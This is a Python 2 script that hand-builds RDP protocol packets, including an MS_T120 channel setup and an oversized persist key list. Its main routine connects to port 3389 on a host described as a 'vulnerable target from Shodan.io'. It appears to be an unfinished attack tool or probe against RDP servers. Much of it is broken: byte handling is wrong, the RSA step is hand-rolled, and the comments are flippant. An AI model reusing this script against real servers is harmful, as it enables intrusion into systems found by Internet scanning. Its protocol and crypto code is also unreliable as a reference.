import socket
import struct

from binascii import unhexlify

from rdp_check import TPKT


# packing format references:
# ruby:
#   - https://www.rubydoc.info/stdlib/core/Array:pack
# python:
#   - https://docs.python.org/2.7/library/struct.html


def bytes_to_bigone(in_bytes):
    standard_in_bytes = hex(in_bytes)
    return int("0x"+standard_in_bytes)


# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b
def generate_connection_initial():
    pkt = (
        "030001ca02f0807f658201be0401010401010101ff302002020022020200020202000002020001020200000202000102"
        "02ffff020200023020020200010202000102020001020200010202000002020001020204200202000230200202ffff02"
        "02fc170202ffff0202000102020000020200010202ffff020200020482014b000500147c00018142000800100001c000"
        "44756361813401c0d800040008002003580201ca03aa09040000280a00007800310038003100300000000000000000000"
        "00000000000000000000000000004000000000000000c0000000000000000000000000000000000000000000000000000"
        "000000000000000000000000000000000000000000000000000000000000000000000000000000000001ca01000000000"
        "0180007000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
        "0000000000000000000000000000000000000000000000000000000004c00c00090000000000000002c00c000300000000"
        "00000003c0440005000000636c697072647200c0a000004d535f543132300080800000726470736e640000c0000000736e"
        "646462670000c0000000726470647200000080800000"
    )
    return unhexlify(pkt)


#  https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b
def generate_initial_pdq_connection_request():
    pkt = (
        "030001ca02f0807f658201be0401010401010101ff30200202002202020002020200000202000102020000020200010202ffff"
        "020200023020020200010202000102020001020200010202000002020001020204200202000230200202ffff0202fc170202ff"
        "ff0202000102020000020200010202ffff020200020482014b000500147c00018142000800100001c00044756361813401c0d8"
        "00040008002003580201ca03aa09040000280a0000780031003800310030000000000000000000000000000000000000000000"
        "000004000000000000000c00000000000000000000000000000000000000000000000000000000000000000000000000000000"
        "00000000000000000000000000000000000000000000000000000001ca01000000000018000700010000000000000000000000"
        "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
        "00000000000000000004c00c00090000000000000002c00c00030000000000000003c0440005000000636c697072647200c0a0"
        "00004d535f543132300080800000726470736e640000c0000000736e646462670000c0000000726470647200000080800000"
    )
    return unhexlify(pkt)

# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d
def generate_pdu_client_info():
    pkt = (
        "000000003301000000000a00000000000000000075007300650072003000000000000000000002001"
        "c003100390032002e003100360038002e0031002e0032003000380000003c0043003a005c00570049"
        "004e004e0054005c00530079007300740065006d00330032005c006d0073007400730063006100780"
        "02e0064006c006c000000a40100004700540042002c0020006e006f0072006d0061006c0074006900"
        "640000000000000000000000000000000000000000000000000000000000000000000000000000000"
        "a00000005000300000000000000000000004700540042002c00200073006f006d006d0061007200740"
        "0690064000000000000000000000000000000000000000000000000000000000000000000000000000"
        "0000300000005000200000000000000c4ffffff00000000270000000000"
    )
    return unhexlify(pkt)


# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4c3c2710-0bf0-4c54-8e69-aff40ffcde66
def generate_pdu_client_confirm_active():
    pkt = (
        "a4011300f103ea030100ea0306008e014d53545343000e00000001001800010003000002000000000d"
        "04000000000000000002001c0010000100010001002003580200000100010000000100000003005800"
        "0000000000000000000000000000000000000000010014000000010047012a00010101010000000001"
        "0101010001010000000000010101000001010100000000a1060000000000000084030000000000e4040"
        "00013002800000000037800000078000000500100000000000000000000000000000000000000000000"
        "08000a000100140014000a0008000600000007000c00000000000000000005000c00000000000200020"
        "009000800000000000f000800010000000d005800010000000904000004000000000000000c00000000"
        "00000000000000000000000000000000000000000000000000000000000000000000000000000000000"
        "00000000000000000000000000000000000000000000c000800010000000e0008000100000010003400"
        "fe000400fe000400fe000800fe000800fe001000fe002000fe004000fe008000fe00000140000008000"
        "1000102000000"
    )
    return unhexlify(pkt)


# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/2d122191-af10-4e36-a781-381e91c182b7
def generate_pdu_client_persist_key_list():
    pkt = (
        "49031700f103ea03010000013b031c00000001000000000000000000000000000000aaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
    )
    return unhexlify(pkt)


def generate_connection_request():
    pkt = ""
    pkt += "\x03\x00"  # TPKT header
    pkt += "\x00\x0b"  # Length
    pkt += "\x06"      # X.224 Data TPDU length
    pkt += "\x0e"      # X.224 Type (request)
    pkt += "\x00\x00"  # dst reference
    pkt += "\x00\x00"  # source reference
    pkt += "\x00"      # class and options
    return pkt


# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c
def generate_pdu_domain_request():
    pkt = "0300000c02f0800400010001"
    return unhexlify(pkt)


# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247
def generate_pdu_user_request():
    pkt = ""
    pkt += "\x03\x00"      # Header
    pkt += "\x00\x08"      # Length
    pkt += "\x02\xf0\x80"  # X.224 data TPDU (2 bytes: 0xf0=data TPDU,0x80=EOT)
    pkt += "\x28"          # PER encoded PDU
    return pkt


# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b
def generate_pdu_channel_request(username, channel_id):
    pkt = ""
    pkt += "\x03\x00"
    pkt += "\x00\x0c"
    pkt += "\x02\xf0\x80"
    pkt += "\x38"
    # TODO:/ NOTE: need to pack the username and channel into a single part of the packet and do the equivalent of
    # ruby's array.pack("nn") on it, not sure if this will do it or not see above for reference to packing
    # formats
    for item in [username, channel_id]:
        pkt += struct.pack("p", str(item))
    return pkt


#  # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f
def do_pdu_security_exchange(rcran, rsexp, rsmod, bitlength):

    def rsa_encrypt(big_old_number, some_stupid_shit, modes_i_think):
        # LMAO idk wtf this is but it works
        return (big_old_number ** some_stupid_shit) % modes_i_think

    def int_to_bytes(pick_a_number):
        # lol seems like it'll work
        return struct.pack(">I", pick_a_number)

    encrypted_rc_bignum = rsa_encrypt(rcran, rsexp, rsmod)
    encrypted_rc_num = int_to_bytes(encrypted_rc_bignum)

    bitlength += 8
    bitlength_hex = struct.pack("i", bitlength)

    user_data_length = 8 + bitlength
    user_data_length_low = user_data_length & 0xFF
    user_data_length_high = user_data_length / 256
    flags = 0x80 | user_data_length_high

    pkt = ""
    pkt += "\x03\x00"
    pkt += TPKT().getData()                        # TPKT assuming this will work
    pkt += "\x02\xf0\x80"                          # X.224
    pkt += "\x64"                                  # sendDataRequest
    pkt += "\x00\x08"                              # userId
    pkt += "\x03\xeb"                              # channel 1003
    pkt += "\x70"                                  # dataPriority
    pkt += struct.pack("q", flags)                 # flags (if this doesn't work we're gonna try to leave them blank)
    pkt += struct.pack("q", user_data_length_low)  # UserData length
    pkt += "\x01\x00"                              # securityHeader
    pkt += "\x00\x00"                              # securityHeader flagsHi
    pkt += bitlength_hex                           # securityPkt length
    pkt += encrypted_rc_num                        # 64 bytes encrypted client random
    pkt += "\x00\x00\x00\x00\x00\x00\x00\x00"      # 8 bytes rear padding
    return pkt


# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/927de44c-7fe8-4206-a14f-e5517dc24b1c
def parse_rdp_server_data(packet):
    ptr = 0
    rdp_packet = range(0x49, len(packet))
    while ptr < len(rdp_packet):
        header_type = rdp_packet[ptr:ptr+1]
        header_length = unhexlify(rdp_packet[ptr+2:ptr+3])
        if header_type == "\x02\x0c":
            server_random = rdp_packet[ptr+20:ptr+51]
            # TODO:/ print server info
            public_exponent = rdp_packet[ptr+84:ptr+87]
            # TODO:/ print exponent
            modulus = rdp_packet[ptr+88:ptr+151]
            # TODO:/ print old mod
            bitlen = unhexlify(rdp_packet[ptr+72:ptr+75])[0] - 8
            modulus = rdp_packet[ptr+88:ptr+87+bitlen]
            # TODO:/ print new mod
        ptr += header_length

    return bytes_to_bigone(modulus), bytes_to_bigone(public_exponent), bytes_to_bigone(server_random)


def main():
    sock = socket.socket(socket.AF_INET)
    # vulnerable target from Shodan.io
    sock.connect(("10.0.1.59", 3389))
    connection_request_packet = generate_connection_request()
    sock.sendall(connection_request_packet)
    retval = sock.recv(8024)
    print repr(retval)
    sock.close()


main()